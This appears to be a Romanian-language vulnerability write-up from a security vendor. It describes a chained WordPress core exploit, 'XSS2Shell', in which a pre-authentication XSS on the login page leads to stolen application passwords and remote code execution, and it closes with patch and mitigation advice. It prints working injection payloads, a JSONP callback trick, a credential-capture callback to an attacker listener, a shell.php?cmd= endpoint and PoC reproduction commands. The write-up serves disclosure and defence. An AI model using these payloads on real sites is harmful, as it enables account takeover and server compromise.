XSS2Shell: De la zero la shell pe WordPress

Un ghid practic privind un lanț de atacuri XSS de preautentificare care poate duce la executarea de cod de la distanță în nucleul WordPress, demonstrat într-un mediu de testare local Docker.

Numai testare autorizată.

Toate testele de mai jos au fost efectuate pe un mediu de test local (WordPress 7.0.2 pe localhost). Nu folosiți aceste tehnici pe sisteme care nu vă aparțin sau pentru care nu aveți permisiunea explicită de a le testa.

Rezumat executiv

XSS2Shell nu este o singură vulnerabilitate — este un lanț de exploatare în șapte etape care începe cu un singur caracter (< urmat de un spațiu) care ocolește două analizatoare HTML diferite de pe pagina de autentificare a WordPress și se încheie cu executarea codului PHP pe server sub drepturile utilizatorului www-data.

Ce îl face periculos:

  1. Etapa 1 nu necesită nicio autentificare — oricine poate executa cod JavaScript pe wp-login.php.
  2. Se află în nucleul WordPress — nu este un plugin; practic, toate instalările compatibile începând din 2016 sunt afectate.
  3. Utilizează codul propriu al WordPress — user-profile.js, REST JSONP, parolele de aplicație, încărcarea pluginurilor — ca gadgeturi.
  4. RCE complet este demonstrat și recunoscut de WordPress — deși este necesar ca un administrator autentificat să fie indus în eroare să dea un singur clic.

Acest articol prezintă fiecare etapă, însoțită de capturi de ecran din laboratorul nostru local.

Mediul de laborator

git clone <acest-repozitoriu> cd xss2shell make up # WordPress 7.0.2 pe http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Fiecare site WordPress are pagina /wp-login.php. Această pagină reprezintă punctul de intrare pentru întregul lanț.

Etapa 0: Diferența de analiză (cauza principală)

Când autentificarea eșuează, WordPress afișează numele de utilizator introdus într-un mesaj de eroare. Numele de utilizator trece prin două funcții de curățare care au opinii diferite cu privire la ce înseamnă un „tag”:

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Conținutul folosește un spațiu după<:

<area id="demo-marker"><div id="color-picker" class="reset-pass-submit"><button class="wp-generate-pw color-option">X

Pe o versiune vulnerabilă de WordPress 7.0.2, acest cod trece de procesul de curățare și ajunge în DOM-ul activ:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

În versiunea actualizată a WordPress 7.0.4, aceeași încărcătură este codificată în format HTML în mesajul de eroare — fără elemente active.

Această eroare există încă din WordPress 4.7 (2016) și a trecut neobservată în urma unor audituri de securitate efectuate de-a lungul anilor.

Etapa 1: XSS înainte de autentificare (nu este necesară autentificarea)

Nodurile DOM inserate corespund selectorilor pe care fișierul user-profile.js al WordPress îi caută pe pagina de autentificare (încărcat pentru procesul de resetare a parolei):

  1. Elementul .reset-pass-submit .wp-generate-pw este selectat automat la încărcarea paginii
  2. Clicul declanșează un eveniment către handlerul delegat al #color-picker
  3. Verificarea „user_id” === „checkuser_id” se efectuează cu succes, deoarece ambele sunt nedefinite
  4. jQuery trimite cereri POST către ajaxurl — dar ajaxurl nu există pe pagina de autentificare…

Dacă nu-l dăm la o parte:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Elementul <area id=ajaxurl> devine window.ajaxurl. jQuery apelează metoda .toString() → returnează atributul href. WordPress REST returnează JSONP → jQuery globalEval() → alert()se execută pe serverul de origine WordPress.

Stage 1 demo page
Stage 1 demo page

Trimiteți formularul (sau deschideți fișierul demo/stage1-preauth-xss.html și faceți clic pe „Run Stage 1”):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Impactul doar în această etapă: phishingul de date de autentificare pe domeniul real, preluarea sesiunii, apeluri API de aceeași origine — fără nicio autentificare.

Etapa 2: Inginerie socială — clic-ul administratorului

Etapele 2–7 necesită ca un administrator autentificat să deschidă o pagină controlată de atacator. Aceasta este bariera care menține scorul CVSS sub 10 — însă este o situație realistă în cazul atacurilor țintite.

Administratorul ar putea primi următorul mesaj: „Sesiunea ta a expirat — dă clic aici pentru a te autentifica din nou.”

Simulated phishing lure page
Simulated phishing lure page

Când se face clic pe ea, pagina atacatorului:

  1. Deschide o fereastră pop-up secundară (about:blank)
  2. Redirecționează fereastra principală către pagina de autorizare cu parolă de aplicație a WordPress
  3. Scrie un formular XSS în fereastra pop-up secundară și îl trimite automat către wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Etapa 3: Executarea metodei „Same-Origin” (SOME) — aprobare automată

Payload-ul XSS al ferestrei secundare modifică callback-ul JSONP din „alert” în:

window.opener.approve.click

WordPress REST încadrează răspunsul:

/**/window.opener.approve.click({...})

Mediul de execuție rezolvă window.opener (fereastra părinte) → .approve (butonul #approve ) → .click(). Butonul „Aprobare parolă aplicație” este apăsat automat — fără nicio interacțiune din partea utilizatorului pe pagina respectivă.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Observați adresa URL de callback din pagină: datele de autentificare vor fi trimise la http://127.0.0.1:9090/callback?...&password=[------].

Etapa 4: Captarea parolei aplicației

WordPress generează o nouă parolă de aplicație și redirecționează către adresa `success_url` a atacatorului, cu datele de autentificare incluse în șirul de interogare:

http://127.0.0.1:9090/callback?site_url=http://localhost:9080&user_login=admin&password=XXXX XXXX XXXX XXXX XXXX XXXX

Atacatorul dispune acum de datele de autentificare HTTP Basic pentru API-ul REST al WordPress — preluate din propria sesiune a administratorului, fără ca acesta să fi introdus nimic după ce a dat clic pe linkul inițial.

Etapa 5: Publicarea paginii controlate de atacator

Folosind parola aplicației furate, atacatorul trimite o cerere POST la /wp-json/wp/v2/pages și publică o pagină cu cod JavaScript încorporat. Administratorii dispun de dreptul „unfiltered_html” — etichetele script rămân intacte.

Etapa 6: Încărcarea pluginului prin sesiunea de administrator

Codul JavaScript al atacatorului (care rulează în browserul administratorului pe pagina publicată):

  1. Accesează pagina /wp-admin/plugin-install.php?tab=upload pentru a obține codul unic de încărcare
  2. TRIMITE un fișier ZIP dăunător către /wp-admin/update.php?action=upload-plugin
  3. WordPress îl extrage în wp-content/plugins/xss2shell/

Nu este necesar ca pluginul să fie activat. Fișierele PHP din directorul pluginului sunt accesibile direct de pe web.

Etapa 7: Executarea de cod de la distanță

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Răspuns:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Atacatorul poate acum să execute comenzi arbitrare sub identitatea utilizatorului serverului web — să citească fișierul wp-config.php (datele de autentificare pentru baza de date), să facă o copie a bazei de date și să se deplaseze lateral.

Ieșirea completă a terminalului PoC:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Prezentare generală a întregului lanț

diagrama de secvență: participantul A – Atacator, participantul V – Victimă, participantul W – WordPress 7.0.2. Notă deasupra lui V și W: administratorul este autentificat. V->>A: se deschide un link de phishing (1 clic). A->>V: Atacator HTML + fereastră pop-up secundară. V->>W: Fereastra principală → authorize-application.php V->>W: Fereastra secundară trimite prin POST încărcătura XSS către wp-login.php W->>V: JSONP execută window.opener.approve.click Notă privind V și W: Butonul „Aprobare” a fost apăsat automat W->>A: Redirecționare cu parola aplicației A->>W: Pagina de publicare a API-ului REST (autentificare Basic) V->>W: Administratorul accesează pagina → încarcă fișierul ZIP al pluginului V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Cât de periculos este, de fapt?

Ce este garantat (grad ridicat de certitudine)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Ce necesită condiții suplimentare (calea RCE)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Calibrarea gradului de gravitate

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Concluzie: Nu este vorba despre o vulnerabilitate RCE de tip „zero-click” care permite răspândirea prin viermi, precum Log4Shell. Este o vulnerabilitate extrem de tehnică, la nivel de nucleu, care afectează aproximativ 43% din web, în care:

  • Etapa 1 reprezintă, în sine, o vulnerabilitate XSS gravă de tip „pre-auth” pe pagina de autentificare
  • Întregul lanț transformă un singur clic al administratorului într-o compromitere a serverului
  • Cauza principală (diferența dintre analizatoare) se aplică oricărei baze de cod care utilizează mai multe analizatoare HTML

Conform propriului aviz al WordPress, executarea codului la distanță (RCE) necesită „condiții care nu se află sub controlul atacatorului” și „o manevră de inginerie socială reușită”. Această afirmație este corectă — însă lanțul de atac demonstrat face ca aceste condiții să poată fi îndeplinite printr-un singur link.

Reproduceți lanțul complet la nivel local

# 1. Porniți configurarea de laborator # 2. Activați parolele de aplicație pe HTTP (doar în laborator) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Porniți ascultătorul PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. În browser: # a. Autentificați-vă ca administrator la http://localhost:9080/wp-login.php # b. Deschideți http://127.0.0.1:9091/phishing-sim.html # c. Faceți clic pe „Open attacker page” (permiteți ferestrele pop-up) # d. Așteptați ca terminalul să afișeze shell-ul + whoami

Apărare

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Corecția adaugă funcția esc_html() la numele de utilizator din fluxul de erori al procesului de autentificare — asigurându-se astfel că șirul de caractere este tratat ca text și nu este reanalizat ca HTML.

De ce este important acest lucru pentru cercetarea în domeniul securității

Fiecare verigă din lanț este, luată separat, plictisitoare:

  • Diferențial de analiză → operațiuni de întreținere cu gravitate redusă
  • S-a încărcat un script greșit pe pagina de autentificare → nivel scăzut
  • Validarea callback-ului JSONP prin expresie regulată → nivel mediu
  • Parola aplicației în adresa URL de redirecționare → mediu
  • Directorul de pluginuri execută cod PHP fără activare → caracteristică prevăzută

Împreună, acestea reprezintă un scor CVSS de 8,9 și un shell.

Lecția: atunci când evaluați vulnerabilitățile XSS, întrebați-vă : „Ce este deja încărcat pe această pagină și ce se va întâmpla dacă îi furnizez nodurile DOM potrivite?” Gravitatea este o proprietate a lanțului, nu a vulnerabilității în sine.

Referințe

Selectați regiunea și limba

Regiune
Limba
Vrei să vezi CyberTested în acțiune?
Rezervați o demonstrație gratuită